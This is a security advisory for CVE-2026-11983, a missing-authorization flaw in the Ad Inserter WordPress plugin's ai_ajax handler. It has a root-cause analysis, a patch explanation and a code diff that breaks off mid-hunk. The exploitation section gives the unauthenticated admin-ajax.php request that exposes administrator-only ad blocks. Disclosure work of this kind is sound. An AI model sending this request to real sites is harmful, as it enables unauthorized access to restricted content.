Published : August 5, 2026

CVE-2026-11983: Ad Inserter <= 2.8.16 Missing Authorization to Block Visibility Bypass via ai_ajax PoC, Patch Analysis & Rule

Plugin ad-inserter
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.8.16
Patched Version 2.8.17
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11983:

The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress, in versions up to and including 2.8.16, contains a missing authorization vulnerability in the `ai_ajax` function. This flaw allows unauthenticated attackers to bypass visibility restrictions and view the contents of ad blocks that an administrator has configured for administrator-only visibility. The vulnerability is classified as CWE-862 (Missing Authorization) with a CVSS score of 5.3, indicating medium severity. The core issue resides in the AJAX handler that serves ad block content, particularly for iframe-based rendering.

The root cause is the absence of a capability or permission check within the `ai_ajax()` function, located in `ad-inserter/ad-inserter.php`, before it renders ad block content. Specifically, when the AJAX request processes a block view (handling the rendering for iframe or preview), the code retrieves the block object and immediately outputs its content. In the vulnerable version, the code around line 7199 in `ad-inserter.php` (within the `ai_ajax` function) lacks any verification that the requesting user has the necessary permissions to view a restricted block. The vulnerable code path executes when an attacker sends an AJAX request to `admin-ajax.php` with a specific `action` parameter and a `block` parameter indicating which block to render. The block’s visibility settings, which may restrict content to specific user roles (like administrators only), are checked when the block is displayed on a normal page via the `check_page_types_lists_users()` method. However, this check is missing in the AJAX handler, allowing the block’s iframe content to be served regardless of the user’s role.

Exploitation is straightforward and requires no authentication. An attacker sends a crafted HTTP GET request to the `admin-ajax.php` endpoint. The request includes the `action` parameter set to the Ad Inserter AJAX action (e.g., `ai_ajax`) and a `block` parameter specifying the target ad block number (between 1 and 96). The AJAX function then identifies the block, sets up the context, and, if the block is configured to use an iframe, it calls the `get_iframe_page()` method. This method outputs the full HTML for the ad block, including its content, without performing any visibility or capability checks. The attacker receives the complete ad block content, even if that block is marked for administrator-only visibility. A proof-of-concept would show an unauthenticated request to `/wp-admin/admin-ajax.php?action=ai_ajax&block=1&iframe=1&…` returning the restricted ad content.

The patch in version 2.8.17 introduces a crucial security check within the `ai_ajax()` function. The fix, visible in the diff around line 7213 of `ad-inserter.php`, adds the following lines after the block object is retrieved: `set_user();` and `if (!$block->check_page_types_lists_users()) { wp_die(); }`. The `set_user()` function likely initializes the current user context based on the request. The subsequent `check_page_types_lists_users()` method evaluates the block’s configured visibility rules against the current user. If the check fails, meaning the user lacks the required role or capability, the script terminates with `wp_die()`, preventing the block content from being rendered. This ensures that visibility restrictions are enforced even when content is requested through the AJAX handler, effectively closing the authorization bypass.

The impact of this vulnerability is the unauthorized disclosure of potentially sensitive or confidential information. Ad blocks can contain HTML, JavaScript, and other code that advertisers or site administrators may not want public. The ability to bypass visibility restrictions allows an unauthenticated attacker to enumerate ad blocks and view their contents, gaining access to potentially proprietary advertising campaigns, affiliate links, tracking pixels, or other embedded code. While not leading to direct server compromise, this unauthorized data exposure can undermine a site’s security posture and reveal internal business logic.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ad-inserter/ad-inserter.php
+++ b/ad-inserter/ad-inserter.php
@@ -5,7 +5,7 @@

 /*
 Plugin Name: Ad Inserter
-Version: 2.8.16
+Version: 2.8.17
 Description: Ad management with many advanced advertising features to insert ads at optimal positions
 Author: Igor Funa
 Author URI: http://igorfuna.com/
@@ -21,9 +21,20 @@

 Change Log

+Ad Inserter 2.8.17 - 2026-06-26
+- Security fix for insecure direct object reference (credits to nightward)
+- Security fix for missing authorization to block visibility (credits to Jack Pas (Dark.))
+- Security fix for missing authorization to unauthenticated header/footer code disclosure (credits to Evan)
+- Added support for sticky blocks
+- Added support for sticky parameter in block shortcodes
+- Added support for encoded url data shortcode
+- Added support to select individual capability for global custom field page access
+- Few minor bug fixes, cosmetic changes and code improvements
+
 Ad Inserter 2.8.16 - 2026-05-26
 - Fix for reflected cross-site scripting (credits to darkmode)
 - Added support for Gutenberg blocks
+- Lists button renamed to Conditions
 - Few minor bug fixes, cosmetic changes and code improvements

 Ad Inserter 2.8.15 - 2026-04-12
@@ -3708,11 +3719,13 @@
     }
   }

-  return array_values (array_unique ($all_caps));
+  $capabilities = array_values (array_unique ($all_caps));
+  sort ($capabilities);
+  return $capabilities;
 }

 //function ai_all_capabilities_including_users () {
-//  $caps = ai_all_registered_capabilities ();
+//  $caps = ai_all_capabilities ();

 //  $users = get_users (['fields' => 'ID']);

@@ -3902,10 +3915,10 @@
   // If this is an autosave, our form has not been submitted, so we don't want to do anything.
   if (defined ('DOING_AUTOSAVE') && DOING_AUTOSAVE) return;

-  if ($post->post_type === 'post' || $post->post_type === 'page') {
-    // Update post ids with gutenberg blocks
-    ai_get_post_ids_with_blocks ();
-  }
+//  if ($post->post_type === 'post' || $post->post_type === 'page') {
+//    // Update post ids with gutenberg blocks
+//    ai_get_post_ids_with_blocks ();
+//  }

   // Check if our nonce is set.
   if (!isset ($_POST ['adinserter_meta_box_nonce'])) return;
@@ -4053,10 +4066,10 @@
         if ($block >= 1 && $block <= 96) {
           if ($attributes ['enabled'] && $block_object [(int) $attributes ['blockNumber']]->get_enable_widget ()) {
             if ($attributes ['sticky']) {
-              $ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY'] = $attributes ['stickyHeight'];
+              $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'] = $attributes ['stickyHeight'];
             }
             $code = adinserter_gutenberg ((int) $attributes ['blockNumber']);
-            unset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']);
+            unset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY']);
           } else $code = '';

           return $code;
@@ -4310,7 +4323,7 @@
   }

   if (!$ai_wp_data [AI_CODE_FOR_IFRAME] && !is_rest ()) {
-    if ($ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
+    if ((current_user_can ('manage_options') || get_remote_debugging ()) && $ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
       if (is_numeric ($_GET ['ai-debug-code']) && $_GET ['ai-debug-code'] >= 1 && $_GET ['ai-debug-code'] <= 96) {
         $obj = $block_object [(int) $_GET ['ai-debug-code']];
         $block_name = $obj->number . '   ' . $obj->get_ad_name ();
@@ -4341,7 +4354,7 @@
 ';
     }

-    if (!get_disable_header_code () && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
+    if (!get_disable_header_code () && (current_user_can ('manage_options') || get_remote_debugging ()) && $ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
 //      $ai_wp_data [AI_FOOTER_JS_CODE_DOM_READY] .= "  jQuery('body').prepend ("" . get_code_debug_block (' ' . __('Header code', 'ad-inserter') . ' ' . ($header->get_enable_manual () ? '' : ' ' . _x('DISABLED', 'Header code', 'ad-inserter')), '<head>...</head>', strlen ($header_code) . ' ' . _n('character inserted', 'characters inserted', strlen ($header_code), 'ad-inserter') . ' ', $header->ai_getCode (), $header_code, true) . "");
       $ai_wp_data [AI_FOOTER_JS_CODE_DOM_READY] .= "document.querySelector ('body').insertAdjacentHTML ('afterbegin', "" . get_code_debug_block (' ' . __('Header code', 'ad-inserter') . ' ' . ($header->get_enable_manual () ? '' : ' ' . _x('DISABLED', 'Header code', 'ad-inserter')), '<head>...</head>', strlen ($header_code) . ' ' . _n('character inserted', 'characters inserted', strlen ($header_code), 'ad-inserter') . ' ', $header->ai_getCode (), $header_code, true) . "");
 ";
@@ -4617,7 +4630,7 @@
   }

   if (!$ai_wp_data [AI_CODE_FOR_IFRAME] && !is_rest ()) {
-    if (!get_disable_footer_code () && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
+    if (!get_disable_footer_code () && (current_user_can ('manage_options') || get_remote_debugging ()) && $ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
       echo get_code_debug_block (' ' . __('Footer code', 'ad-inserter') . ' ' . ($footer->get_enable_manual () ? '' : ' ' . _x('DISABLED', 'Footer code', 'ad-inserter')), '...</body>', strlen ($footer_code).' ' . _n('character inserted', 'characters inserted', strlen ($footer_code), 'ad-inserter'), $footer->ai_getCode (), $footer_code);
     }

@@ -7173,6 +7186,7 @@
   }
 }

+
 function ai_ajax () {
   global $ai_wp_data;

@@ -7199,6 +7213,10 @@
       if (isset ($_GET ["hide-debug-labels"]) && $_GET ["hide-debug-labels"] == 1) {
         $block->hide_debug_labels = true;
       }
+      set_user ();
+      if (!$block->check_page_types_lists_users ()) {
+        wp_die ();
+      }
       if ($block->get_iframe ())
         echo $block->get_iframe_page ();
     }
@@ -7473,6 +7491,10 @@
     if ($active < 1 || $active > 96) $active = 1;

     code_block_list ($start, $end, $search_text, $show_all_blocks, $active);
+
+    if ($show_all_blocks) {
+      ai_update_post_ids_with_blocks ();
+    }
   }

   elseif (isset ($_GET ["adsense-list"])) {
@@ -9157,7 +9179,8 @@
           return $images_data;
         }

-        if (isset ($images_data [0]) && json_encode ($images_data [0]['viewports']) == $all_viewports_json) {
+//        if (isset ($images_data [0]) && json_encode ($images_data [0]['viewports']) == $all_viewports_json) {
+        if (isset ($images_data [0]['viewports']) && json_encode ($images_data [0]['viewports']) == $all_viewports_json) {
           $image_data = $images_data [0];

           if (isset ($image_data ['id']) && is_int ($image_data ['id'])) {
@@ -10285,6 +10308,7 @@
     "data" => "",
     "share" => "",
     "time" => "",
+    "sticky" => "",
     "category" => "",
     "categories" => "",
     "tag" => "",
@@ -10375,10 +10399,6 @@

   if (is_numeric ($parameters ['block']) && !$name_only) {
     $block = intval ($parameters ['block']);
-
-//  } elseif ($parameters ['name'] != '' && !($parameters ['rotate'] != '' || in_array ('ROTATE', $atts) || in_array ('rotate', $atts))) {
-//      $shortcode_name = strtolower ($parameters ['name']);
-
   } elseif ($parameters ['block'] != '' && !($parameters ['rotate'] != '' || in_array ('ROTATE', $atts) || in_array ('rotate', $atts))) {
       $shortcode_name = strtolower ($parameters ['block']);
       for ($counter = 1; $counter <= 96; $counter ++) {
@@ -10756,9 +10776,18 @@
     if (isset ($ai_wp_data [AI_CURRENT_BLOCK_NAME])) {
       $saved_block_name = $ai_wp_data [AI_CURRENT_BLOCK_NAME];
     }
+    if ($parameters ['sticky'] != '') {
+      if (isset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'])) {
+        $saved_sticky = $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'];
+      }
+      $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'] = (int) $parameters ['sticky'];
+    }

     $code = $obj->get_code_for_serverside_insertion (true, false, $code_only);

+    if (isset ($saved_sticky)) {
+      $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'] = $saved_sticky;
+    } else unset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY']);
     if (isset ($saved_force_serverside)) {
       $ai_wp_data [AI_SHORTCODES]['force_serverside'] = $saved_force_serverside;
     } else unset ($ai_wp_data [AI_SHORTCODES]['force_serverside']);
@@ -13007,6 +13036,7 @@
       $host = $_SERVER ['SERVER_NAME'];
     }
     $url = remove_debug_parameters_from_url ((isset ($_SERVER ['HTTPS']) && $_SERVER ['HTTPS'] === 'on' ? "https" : "http") . '://'. $host . $_SERVER ['REQUEST_URI']);
+    $url_encoded = urlencode ($url);

     $post_id = ai_get_post_id ();

@@ -13032,6 +13062,7 @@
     $ai_wp_data [AI_TAGS]['POST_ID']              = $post_id;
     $ai_wp_data [AI_TAGS]['POST_DATE']            = get_the_date ();
     $ai_wp_data [AI_TAGS]['URL']                  = $url;
+    $ai_wp_data [AI_TAGS]['URL_ENCODED']          = $url_encoded;
   }

   // Author should not be cached
@@ -13074,13 +13105,17 @@
   $ad_data = preg_replace ("/{block-name-encoded}/i", isset ($ai_wp_data [AI_CURRENT_BLOCK_NAME])   ? urlencode ($ai_wp_data [AI_CURRENT_BLOCK_NAME])   : '', $ad_data);

   $ad_data = preg_replace ("/{url}/i",                $ai_wp_data [AI_TAGS]['URL'],               $ad_data);
+  $ad_data = preg_replace ("/{url-encoded}/i",        $ai_wp_data [AI_TAGS]['URL_ENCODED'],       $ad_data);

   if (preg_match ("/{reusable-block-([d]+)}/i", $ad_data, $block_match)) {
     $block_id  = $block_match [1];

     $reusable_block = '';
     if (!empty ($block_id) && (int) $block_id == $block_id) {
-      $reusable_block = get_post_field ('post_content', $block_id);
+      $target_post = get_post ((int) $block_id);
+      if ($target_post && $target_post->post_type === 'wp_block' && $target_post->post_status === 'publish' && current_user_can ('read_post', $target_post->ID)) {
+        $reusable_block = $target_post->post_content;
+      }
     }

     $ad_data = preg_replace ("/".$block_match [0]."/i", $reusable_block, $ad_data);
--- a/ad-inserter/class.php
+++ b/ad-inserter/class.php
@@ -5427,9 +5427,9 @@
       if ($parallax_options) break;
     }

-    $block_is_sticky = $this->get_sticky () || isset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']);
+    $block_is_sticky = $this->get_sticky () || isset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY']);
     if ($block_is_sticky) {
-      $height = isset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']) ? (int) $ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY'] : trim ($this->get_sticky_height ());
+      $height = isset ($ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY']) ? (int) $ai_wp_data ['AI_BLOCK_OVERRIDE_STICKY'] : trim ($this->get_sticky_height ());
       $style = '';

       if ($height != '' && !$parallax_options) {
@@ -11150,7 +11150,7 @@
 }

 define ('AI_MAX_GLOBAL_FIELD_PAGES',     4);
-define ('AI_MAX_GLOBAL_FIELDS',         20);
+define ('AI_MAX_GLOBAL_FIELDS',         40);

 class ai_global_fileds {

@@ -11334,7 +11334,16 @@
         if (!empty ($websites)) {
           foreach ($websites as $index => $website) {
             if (isset ($website ['enabled']) && $website ['enabled'] && trim ($website ['name']) != '') {
-              $capability = isset ($website ['access']) ? $this->get_role_capability ($website ['access']) : 'administrator';
+
+              if (isset ($website ['access'])) {
+                $access = $website ['access'];
+                if (strpos ($access, 'capability:') === 0) {
+                  $access = str_replace ('capability:', '', $access);
+                }
+
+                $capability = $this->get_role_capability ($access);
+              } else $capability = $this->get_role_capability ('administrator');
+

               if (!isset ($first_slug)) {
                 $first_slug = 'ai-remote-global-fields-' . ($index + 1);
@@ -12311,6 +12320,7 @@
                      ${newTab} />
           </label>

+          <div style="clear: both;"></div>
           <h2>${media_i18n.viewports}</h2>
       `);

--- a/ad-inserter/constants.php
+++ b/ad-inserter/constants.php
@@ -38,7 +38,7 @@
   define ('AD_INSERTER_NAME', 'Ad Inserter');

 if (!defined( 'AD_INSERTER_VERSION'))
-  define ('AD_INSERTER_VERSION', '2.8.16');
+  define ('AD_INSERTER_VERSION', '2.8.17');

 if (!defined ('AD_INSERTER_PLUGIN_BASENAME'))
   define ('AD_INSERTER_PLUGIN_BASENAME', plugin_basename (__FILE__));
@@ -1271,7 +1271,7 @@
 define ('AI_ACTIVE_GROUP_NAMES',         80);
 define ('AI_NO_JQUERY_CODE',             81);
 define ('AI_NO_GROUP_ACTIVATION',        82);
-define ('AI_GUTENBERG_BLOCK_STICKY',     83);
+define ('AI_BLOCK_OVERRIDE_STICKY',      83);


 define ('AI_CONTEXT_NONE',                0);
--- a/ad-inserter/settings.php
+++ b/ad-inserter/settings.php
@@ -2449,7 +2449,28 @@
           </table>
         </div>

-<?php if (function_exists ('ai_display_loading')) ai_display_loading ($block, $obj, $default); ?>
+<?php if (function_exists ('ai_display_loading')) ai_display_loading ($block, $obj, $default); else { ?>
+
+        <div class="ai-rounded">
+          <table class="ai-responsive-table" style="width: 100%;" cellspacing=0 cellpadding=0 >
+            <tbody>
+              <tr>
+                <td style="width: 30%;">
+                </td>
+                <td style="width: 50%; text-align: right;">
+                  <input type="hidden" name="<?php echo AI_OPTION_STICKY, WP_FORM_FIELD_POSTFIX, $block; ?>" value="0" />
+                  <input id="sticky-<?php echo $block; ?>" type="checkbox" name="<?php echo AI_OPTION_STICKY, WP_FORM_FIELD_POSTFIX, $block; ?>" value="1" title= "<?php _e ('Sticky ad with scrolling space below', 'ad-inserter'); ?>" default="<?php echo $default->get_sticky (); ?>" <?php if ($obj->get_sticky () == AI_ENABLED) echo 'checked '; ?> />
+                  <label for="sticky-<?php echo $block; ?>"><?php /* Translators: Sticky ad */ _e ('Sticky', 'ad-inserter'); ?></label>
+
+                  <input type="text" id="sticky-height-<?php echo $block; ?>" name="<?php echo AI_OPTION_STICKY_HEIGHT, WP_FORM_FIELD_POSTFIX, $block; ?>" default="<?php echo $default->get_sticky_height (); ?>" value="<?php echo $obj->get_sticky_height (); ?>" title= "<?php _e ('Height of the scrolling space below the ad', 'ad-inserter'); ?>" size="3" maxlength="8" />
+                  px
+                </td>
+              </tr>
+            </tbody>
+          </table>
+        </div>
+
+<?php } ?>

 <?php if (function_exists ('ai_close_button')) ai_close_button ($block, $obj, $default); ?>

@@ -2951,20 +2972,29 @@
             </thead>
             <tbody>
 <?php
+              $capabilities = ai_all_capabilities ();

-//              if (function_exists ('ai_general_settings_4')) {
-//                $users = get_users ();
-////                $capabilities = ai_all_capabilities ();
-//              }
               for ($page = 1; $page <= AI_MAX_GLOBAL_FIELD_PAGES; $page ++) {

                 $page_access = get_global_page_access ($page);
-                $user_capability_options = '';

-//                if (function_exists ('ai_general_settings_4')) {
-////                  $user_capability_options = ai_general_settings_4 ($page, $users, $capabilities);
-//                  $user_capability_options = ai_general_settings_4 ($page, $users);
-//                }
+                $is_page_access_capability = strpos ($page_access, 'capability:') === 0;
+                $page_access_capability = str_replace ('capability:', '', $page_access);
+
+                $capability_options = "<optgroup label='" . __('Capabilities', 'ad-inserter') . "'>n";
+
+                foreach ($capabilities as $capability) {
+                  $selected = '';
+                  if ($is_page_access_capability) {
+                    if ($page_access_capability == $capability) {
+                      $selected = ' selected="'.AD_SELECT_SELECTED.'"';
+                    }
+                  }
+                  $capability_options .= '<option value="capability:'.$capability.'"'.$selected.'>'.$capability.'</option>'."n";
+                }
+
+                $capability_options .= "</optgroup>n";
+
 ?>
               <tr>
                 <td style="padding: 0 0 2px 0;">
@@ -2997,6 +3027,8 @@
                     wp_dropdown_roles ($page_access);

 //                    echo $user_capability_options;
+
+                    echo $capability_options;
 ?>
                   </select>
                 </td>
@@ -3009,7 +3041,7 @@
         </div>
 <?php
         if (function_exists ('ai_remote_custom_pages')) {
-          ai_remote_custom_pages ();
+          ai_remote_custom_pages ($capability_options);
         }
 ?>
       </div>
@@ -4029,29 +4061,33 @@
   return $found;
 }

-function ai_get_post_ids_with_blocks (): array {
+function ai_update_post_ids_with_blocks () {
   global $wpdb;

+  $post_types   = ['post', 'page'];
+  $placeholders = implode (',', array_fill (0, count ($post_types), '%s'));
+  $like         = '%' . $wpdb->esc_like ('wp:' . AI_GUTENBERG_BLOCK) . '%';
+
+  $args = array_merge ([ $like], $post_types);
+
+  $post_ids = $wpdb->get_col (
+    $wpdb->prepare(
+      "SELECT ID FROM {$wpdb->posts}
+       WHERE post_status IN ('publish', 'pending', 'draft', 'auto-draft', 'future', 'private')
+       AND post_content LIKE %s
+       AND post_type IN ($placeholders)",
+      ...$args
+    )
+  );
+
+  set_transient (AI_TRANSIENT_POST_IDS, $post_ids, AI_TRANSIENT_POST_IDS_EXPIRATION);
+}
+
+function ai_get_post_ids_with_blocks (): array {
   $post_ids = get_transient (AI_TRANSIENT_POST_IDS);

   if ($post_ids === false) {
-    $post_types   = ['post', 'page'];
-    $placeholders = implode (',', array_fill (0, count ($post_types), '%s'));
-    $like         = '%' . $wpdb->esc_like ('wp:' . AI_GUTENBERG_BLOCK) . '%';
-
-    $args = array_merge ([ $like], $post_types);
-
-    $post_ids = $wpdb->get_col (
-      $wpdb->prepare(
-        "SELECT ID FROM {$wpdb->posts}
-         WHERE post_status IN ('publish', 'pending', 'draft', 'auto-draft', 'future', 'private')
-         AND post_content LIKE %s
-         AND post_type IN ($placeholders)",
-        ...$args
-      )
-    );
-
-    set_transient (AI_TRANSIENT_POST_IDS, $post_ids, AI_TRANSIENT_POST_IDS_EXPIRATION);
+    return [];
   }

   return $post_ids;
@@ -4101,25 +4137,27 @@
       continue;
     }

-    $sidebar_name = $wp_registered_sidebars [$sidebar_id]['name'];
+    if (isset ($wp_registered_sidebars [$sidebar_id]['name'])) {
+      $sidebar_name = $wp_registered_sidebars [$sidebar_id]['name'];

-    foreach ($widgets as $widget_id) {
-      // Block widgets have IDs like "block-1", "block-2", etc.
-      if (substr ($widget_id, 0, 6 ) !== 'block-') {
-        continue;
-      }
+      foreach ($widgets as $widget_id) {
+        // Block widgets have IDs like "block-1", "block-2", etc.
+        if (substr ($widget_id, 0, 6 ) !== 'block-') {
+          continue;
+        }

-      $number = (int) str_replace ('block-', '', $widget_id);
-      $content = $widget_data [$number]['content'] ?? '';
+        $number = (int) str_replace ('block-', '', $widget_id);
+        $content = $widget_data [$number]['content'] ?? '';

-      if ($content) {
-        $matches = ai_find_blocks_by_name ($content);
+        if ($content) {
+          $matches = ai_find_blocks_by_name ($content);

-        if ($matches) {
-          foreach ($matches as $match) {
-            $widget_block = $match ['attrs']['blockNumber'] ?? 1;
-            if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($sidebar_name, $sidebars_with_widgets [$widget_block])) {
-              $sidebars_with_widgets [$widget_block] []= $sidebar_name;
+          if ($matches) {
+            foreach ($matches as $match) {
+              $widget_block = $match ['attrs']['blockNumber'] ?? 1;
+              if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($sidebar_name, $sidebars_with_widgets [$widget_block])) {
+                $sidebars_with_widgets [$widget_block] []= $sidebar_name;
+              }
             }
           }
         }
@@ -6222,7 +6260,7 @@

 <?php

-  switch (rand (1, 12)) {
+  switch (rand (1, 8)) {
     case 1:
     case 2:
     case 3:
@@ -6257,22 +6295,22 @@
 <?php
       break;

-    case 9:
-    case 10:
-    case 11:
-    case 12:
-?>
-      <div class="ai-form header ai-rounded">
-        <div style="float: left;">
-          <h2 style="display: inline-block; margin: 5px 0;">WinUp</h2>
-        </div>
-        <div style="clear: both;"></div>
-      </div>
-      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">
-        <a href="https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-728x90" class="clear-link" title="WinUp" target="_blank"><img id="wu-72" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-72.png" /></a>
-      </div>
+//    case 9:
+//    case 10:
+//    case 11:
+//    case 12:
+?>
+<!--      <div class="ai-form header ai-rounded">-->
+<!--        <div style="float: left;">-->
+<!--          <h2 style="display: inline-block; margin: 5px 0;">WinUp</h2>-->
+<!--        </div>-->
+<!--        <div style="clear: both;"></div>-->
+<!--      </div>-->
+<!--      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">-->
+<!--        <a href="https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-728x90" class="clear-link" title="WinUp" target="_blank"><img id="wu-72" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-72.png" /></a>-->
+<!--      </div>-->
 <?php
-      break;
+//      break;

   }
 ?>
@@ -6444,14 +6482,14 @@
           <div class="ai-image-left">
 <?php switch ($version) {
         case 0: ?>
-            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>
-<!--            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>-->
+<!--            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>-->
+            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
 <?php   break; case 1: ?>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
 <!--            <a href="https://publisher.joinads.me/conversao-en?utm_source=AdInserter&utm_medium=banner&utm_campaign=lead&utm_content=carrossel" class="clear-link" title="<?php _e ('Maximize the revenue', 'ad-inserter'); ?>" target="_blank"><img id="ja25-1-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ja25-1.png" /></a>-->
-<!--            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>-->
-            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
+            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>
+<!--            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>-->
 <?php   break; case 2: ?>
 <!--            <a href='https://adinserter.pro/documentation/ad-blocking-detection' class="clear-link" title="<?php _e ('Ad blocking detection and content protection', 'ad-inserter'); ?>" target="_blank"><img id="ai-adb" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-adb.png" /></a>-->
             <a href="https://api.whatsapp.com/send?phone=34611051180&text=Hi%20there!%20I%27d%20like%20to%20access%20Google%20Ad%20Manager%20%f0%9f%98%8a" class="clear-link" title="<?php _e ('Join to AdManager', 'ad-inserter'); ?>" target="_blank"><img id="ai-ha-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ha-1.png" /></a>
@@ -6487,9 +6525,9 @@
 <?php   break;
         case 3:
         ?>
-<!--            <a href="https://adinserter.pro/documentation/black-and-white-lists#geo-targeting" class="clear-link" title="Geotargeting - black/white-list countries" target="_blank"><img id="ai-pro-3" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-countries-250.png" /></a>-->
+            <a href="https://adinserter.pro/documentation/black-and-white-lists#geo-targeting" class="clear-link" title="Geotargeting - black/white-list countries" target="_blank"><img id="ai-pro-3" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-countries-250.png" /></a>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
-            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
+<!--            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>-->
 <?php   break;
       } ?>
           </div>
@@ -6506,9 +6544,9 @@
 <!--            <a href='https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter' class="clear-link" target="_blank"><img id="mb-25-1-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-25-1.gif" /></a>-->
